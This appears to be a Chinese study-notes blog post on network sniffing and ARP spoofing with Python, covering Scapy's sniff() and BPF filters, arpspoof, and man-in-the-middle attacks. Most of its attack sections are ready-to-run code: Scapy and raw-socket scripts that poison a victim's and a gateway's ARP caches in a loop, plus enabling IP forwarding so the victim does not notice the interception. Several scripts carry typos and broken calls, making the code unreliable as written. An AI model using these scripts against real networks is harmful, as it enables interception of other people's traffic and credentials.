“人生苦短,我用Python“——网络嗅探与欺骗

嗅探与欺骗

  • 网络数据嗅探
    • ARP的原理和缺陷
      • ARP欺骗
      • 中间人攻击
  • 参考文献

如果想要彻底了解一个网络,那么最好的办法就是对网络中的流量进行嗅探。此篇记录几个嗅探工具,这些嗅探工具可以用来窃取网络中明文传输的密码,监视网络中的数据流向,甚至可以收集远程登录所使用的NTLM数据包(这个数据包中包含登录用的用户名和使用Hash加密的密码)。详见《python渗透测试编程》。

网络数据嗅探

在Scapy中提供了一种专门用来捕获数据包的函数sniff(),这个函数的功能十分强大,首先使用help函数来查看一下它的使用方法。
“人生苦短,我用Python“——网络嗅探与欺骗_第1张图片
函数sniff()中可以使用多个参数,下面先来了解其中几个比较重要参数的含义。

  1. count:表示要捕获数据包的数量。默认值为0,表示不限制数量。
  2. store:表示是否要保存捕获到的数据包,默认值为1。
  3. prn:这个参数是一个函数,这个函数将会应用在每一个捕获到的数据包上。如果这个函数有返回值,将会显示出来。默认是空。
  4. iface:表示要使用的网卡或者网卡列表。

sniff()还支持过滤器的使用

  • 这个过滤器使用了一种功能非常强大的过滤语法+“伯克利包过滤”语法。
  • 这个规则简称为BPF,利用它可以确定该获取和检查哪些流量,忽略哪些流量。
  • BPF可以帮助我们通过比较各个层协议中数据字段值的方法对流量进行过滤。
  • BPF的主要特点是使用一个名为“原语”的方法来完成对网络请求数据包的描述,例如,可以使用“host”来描述主机,“port”来描述端口,同时也支持“与” “或” “非”等逻辑运算。可以限定的内容包括地址、协议等。

使用这种语法创建出来的过滤器被称为BPF表达式,每个表达式包含一个或多个原语。每个原语又包含一个或多个限定词,主要有三个限定词:Type、Dir和Proto。

  1. Type用来规定使用名字或数字代表的类型,例如host、net和port等。
  2. Dir用来规定流量的方向,例如src、dst和src and dst等。
  3. Proto用来规定匹配的协议,例如ip、tcp和arp等。

"host 192.168.169.133"就是一条最为常见的过滤器,它用来过滤除了本机和192.168.169.133以外的所有流量。如果希望再将范围限制小一些,例如,只捕获tcp类型的流量就可以使用“与"运算符,如”host 192.168.169.133 && tcp“。

一些常见的过滤器

  1. 只捕获与网络种某一个IP的主机进行交互的流量:“host 192.168.1.1”。
  2. 只捕获与网络种某一个MAC地址的主机交互的流量:“ether host 00-1a-a0-52-e2-a0”。
  3. 只捕获来自网络中某一个IP的主机的流量:“src host 192.168.1.1”。
  4. 只捕获去往网络中某一个IP的主机的流量:“dst host 192.168.1.1”,host也可以省略。
  5. 只捕获23端口的流量:“port 23”。
  6. 只捕获除了23端口以外的流量:“!23”。
  7. 只捕获目的端口为80的流量:“dst port 80”。
  8. 只捕获ICMP流量:“icmp”。
  9. 只捕获type为3,code为0的ICMP流量:“icmp[0]=3 && icmp[1]=0”。

使用sniff()来捕获一些数据包并显示出来

源地址192.168.169.133,端口为80的tcp报文
在这里插入图片描述
如果希望及时显示捕获的数据包,就可以使用prn函数选项,函数内容为prn=lambda x:x.summary()
在这里插入图片描述
prn就可以不断地打印输出捕获到的数据包内容

这个函数可以实现很多功能,例如输出其中的某一个选项:使用x[IP].src输出IP报文的目的地址。
在这里插入图片描述
另外,也可以定义一个回调函数,例如,打印输出这个数据包

def Callback(packet)
	print packet.show()

然后再再sniff()中调用这个函数:sniff(prn-Callback)

这些捕获到的数据包可以使用wrpcap函数保存起来,保存的格式很多,目前最为通用的格式为pcap。
例如,捕获5个数据包并保存起来语句:

packet=sniff(count=5) wrpcap("demo.pcap",packet)

接下来编写一个完整的数据嗅探工具,它可以捕获和特定主机通信的1000个数据包,并保存到catch.pcap数据包中

from scapy.all import *
import sys
if len(sys.argv)!=2:
	print('Usage:catchPackets\n eg:catchPackets 192.168.1.1')
	sys.exit(1)
ip=sys.argv[1]

def Callback(packet):
	print packet.show()

packets=sniff(filter="host "+ip,prn=Callback,count=5)
wrpcap("catch.pcap",packets)

“人生苦短,我用Python“——网络嗅探与欺骗_第2张图片
在这里插入图片描述
调用WireShark来查看数据包
在Scapy中查看这些数据包可能有些杂乱,可以将数据包放到更加专业的工具中来查看

首先在Scapy中产生一个数据包:packets=IP(dst="www.baidu.com")/ICMP()
然后可以将这个数据包放在一个极为优秀的网络分析工具中打开:wireshark(packets)

ARP的原理和缺陷

之所以这里特别提到这个协议,是因为目前网络中大部分的监听和欺骗技术都是源于这个协议。这个协议存在一个重大缺陷,就是这个过程并没有任何的认证机制
也就是说如果一台主机收到ARP回复数据包,并不会对这个数据包进行真伪判断,无论这个数据包是否真的来自源主机,都会将其添加到ARP表中。因此黑客就可能会利用这个漏洞来冒充网关等主机。

arpspoof演示
在这里插入图片描述
arpspoof [-i 指定使用的网卡] [-t 要欺骗的目标主机] [-r] 要伪装成的主机

例如,现在受到欺骗的主机会把攻击者当作网关,从而把所有数据都发送到这个主机
在这里插入图片描述
现在arpspoof完成了对目标主机的欺骗任务,可以截获到主机发往网关的数据包。
但是这里有两个问题:

  1. arpspoof仅仅是会截获这些数据包,并不能查看这些数据包,所以还需要使用专门查看数据包的工具——打开wireshark,就可以看到受害者所发送的数据包。
  2. 主机不会再将这些数据包转发到网关,这样将会导致目标主机无法正常上网——所以需要在主机上开启转发功能。
    echo 1 >> /proc/sys/net/ipv4/ip_forward这样就可以将截获到的数据包再转发出去,被欺骗的主机就可以正常上网了,从而无法察觉到收到攻击。

ARP欺骗

使用Scapy库来完成这个任务,
“人生苦短,我用Python“——网络嗅探与欺骗_第3张图片
这里需要设置的值主要有三个:op、psrc和pdst。其中,op对应的是ARP类型,默认值已经是1,就是ARP请求,无需改变;psrc的值最关键,psrc对应前面的源IP地址。
getewayIP="192.168.169.1"
victimIP="192.168.169.133"
另外,需要使用Ether层将这个数据包发送出去,查看参数
在这里插入图片描述
这一层只有三个参数,dst是目的硬件地址,src是源硬件地址
srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
接下来构造并发送这个数据包
sendp(Ether(dst=dstMAC,src=srcMAC)/ARP(psrc=gatewayIP,pdst=victimIP))
即使部委Ether中的dst和src赋值,系统其实也会自动将src的值设置为使用Kali Linux 主机的硬件地址
sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))
成功发送这个数据包后,查看一下被攻击计算机的ARP缓存表

完整的ARP欺骗程序

import sys
from scapy.all import sendp,ARP,Ether

if len(sys.argv)!=3:
	print sys.argv[0]+": "
	sys.exit(1)

victimIP=sys.argv[1]#受害IP
getewayIP=sys.argv[2]#网关IP
packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)

while 1:
	sendp(packet)
	time.sleep(10)
	print packet.show()

在目标主机查看ARP缓存表,可以看到这时这个缓存表已经受到欺骗
“人生苦短,我用Python“——网络嗅探与欺骗_第4张图片
也可以将这个程序再完善一下,网络嗅探功能也加进来,同时欺骗受害者主机和网关,将硬件地址改为自动获取等。
首先编写一个能获取目标硬件地址的函数。Scapy中有一个 getmacbyip() 函数,这个函数的作用是给出指定IP地址主机的硬件地址。
在Python中使用这个函数来获取目标主机的硬件地址
“人生苦短,我用Python“——网络嗅探与欺骗_第5张图片

中间人攻击

如果要开始的是一次中间人欺骗,那么需要同时对目标主机和网关都进行欺骗。中间人欺骗的原理就是要让目标误认为kali linux才是网关,同时让网关误认为kali linux是目标主机,这样两者之间的通信方式就变成如下:
“人生苦短,我用Python“——网络嗅探与欺骗_第6张图片
要实现这一点就需要同时向目标主机和网关发送欺骗数据包。
用来欺骗目标主机的数据包如下:attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
用来欺骗网关的数据包如下:attackGateway=Ether()/ARP(psrc=victimIP,pdst=gatewayIP)

因为ARP缓存表中表项都有生命周期,所以需要不断对两个主机进行欺骗。这里循环发送来实现这个功能,sendp本身就有循环发送功能,使用inter指定间隔时间,使用loop=1来实现循环发送sendp(attackTarget,inter=1,loop=1)

完整程序如下:

import sys
import time
from scapy.all import sendp,ARP.Ether

if len(sys.argv)!=3:
	print sys.atgv[0]+": "
	sys.exit(1)

victimIP=sys.argv[1]
gatewayIP=sys.argv[2]
attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
attackGateway=Ether()/ARP(psrc=bictimIP,pdst=gatewayIP)
"""
sendp(attackTarget,inter=1,loop=1)#此段代码进入死循环,无法执行下一条语句
sendp(attackGateway,inter=1,loop=1)
"""
#修改后
while 1:
	sendp(attackGateway)
	sendp(attackTarget)
	time.sleep(1)

在主机上其转发功能echo 1>>/proc/sys/net.ipv4/ip_forward

使用socket来实现这个例子
相比Scapy,socket是一个更为通用的库文件,但是也要复杂一些。
首先看一下ARP数据包的格式,和以前不同,这一次要精确到每一位表示的含义
在这里插入图片描述
使用socke来产生一个数据包要远比Scapy麻烦,这个数据包要分成如下多个部分。

字段 长度 /位
以太网目的地址 6
以太网源地址 6
帧类型 2
硬件类型 2
协议类型 2
硬件地址长度 1
协议地址长度 1
op 2
发送端以太网地址 6
发送端IP地址 4
目的以太网地址 6
目的IP地址 4

利用这个库实现中间人欺骗的原理和前面一样,也是通过向目标发送一个伪造了的ARP数据包来实现的
可以按照如下填充这个数据包

  1. 以太网目的地址:00:0c:29:2D:7F:89 ,这个表示要欺骗的主机的硬件地址,也可以是广播地址ff:ff:ff:ff:ff:ff。
  2. 以太网源地址:00:0c:29:12:dd:23,这是本机的硬件地址。
  3. 帧类型:0x0806表示ARP类型,使用两位十六进制表示为\x08\x06。
  4. 硬件地址:1表示以太网,使用两位十六进制表示为\x00\x01。
  5. 协议类型:8表示IPv4,使用两位十六禁止表示为\x08\x00。
  6. 硬件地址长度:\x06,表示6位的硬件地址。
  7. 协议地址长度:\x04,表示4位的IP地址。
  8. op:1表示请求,2表示回应,使用两位十六进制表示为\x00\x01。
  9. 发送端以太网地址:00:0c:29:12:dd:23。
  10. 发送端IP地址:192.168.169.2。
  11. 目的以太网地址:00:0c:29:2D:7F:89。
  12. 目的IP地址:192.168.169.133。

在构造数据包的时候需要注意一点,网络中传输IP地址等数据要使用网络字节顺序,保证数据在不同主机之间传输时能够被正确解释。
Python socket模块中包含一些有用的IP转换函数,说明如下:
13. socket.inet_aton(ip_string):将IPv4的地址字符串(例如192.168.10.8)转换为32位打包的网络字节。
14. socket.inet_aton(packed_ip):转换32位的IPv4网络字节为IP地址的标准点号分隔字符串表示。

使用socket.inet_aton(ip_string)将IP地址转换之后才能发送出去,所以定义一下这个数据包的格式内容:

srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
code='\x08\x06'
htype='\x00\x01'
protype='\x08\x00'
hsize='\x06'
psize='\x04'
opcode='\x00\x02'
gatewayIP='192.168.169.2'
victimIP='192.168.169.133'

将这些内容组成一个数据包
packet=srcMAC+dstMac+code+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP)
完整程序如下:

#这是一个单向脚本,只是发给目标主机的包;要实现中间人攻击,还需要再构造一个发送给网关的包。
import socket
import struct
import binascii

s=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.ntoh(0x0800))
s.bind("eth0",socket.htoh(0x0800))
srcMAC='\x00\x0c\x29\x1e\xf4'
dstMAC='\x00\x0c\x29\x2D\x7F\x89'
code='\x08\x06'
htype='\x00\x01'
protype='\x08\x00'
hsize='\x06'
psize='\x04'
opcode='\x00\x02'
gatewayIP='192.168.169.2'
victimIP='192.168.169.133'
packet=srcMAC+dstMac+code+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP)

while 1:
	s.send(packet)

参考文献

https://www.bilibili.com/video/BV1eK411M7h9/?p=22&spm_id_from=pageDriver&vd_source=822ed54fe446cd5d38b702cfccd5a730
《python渗透测试编程》

你可能感兴趣的:(网络安全,python,网络,服务器)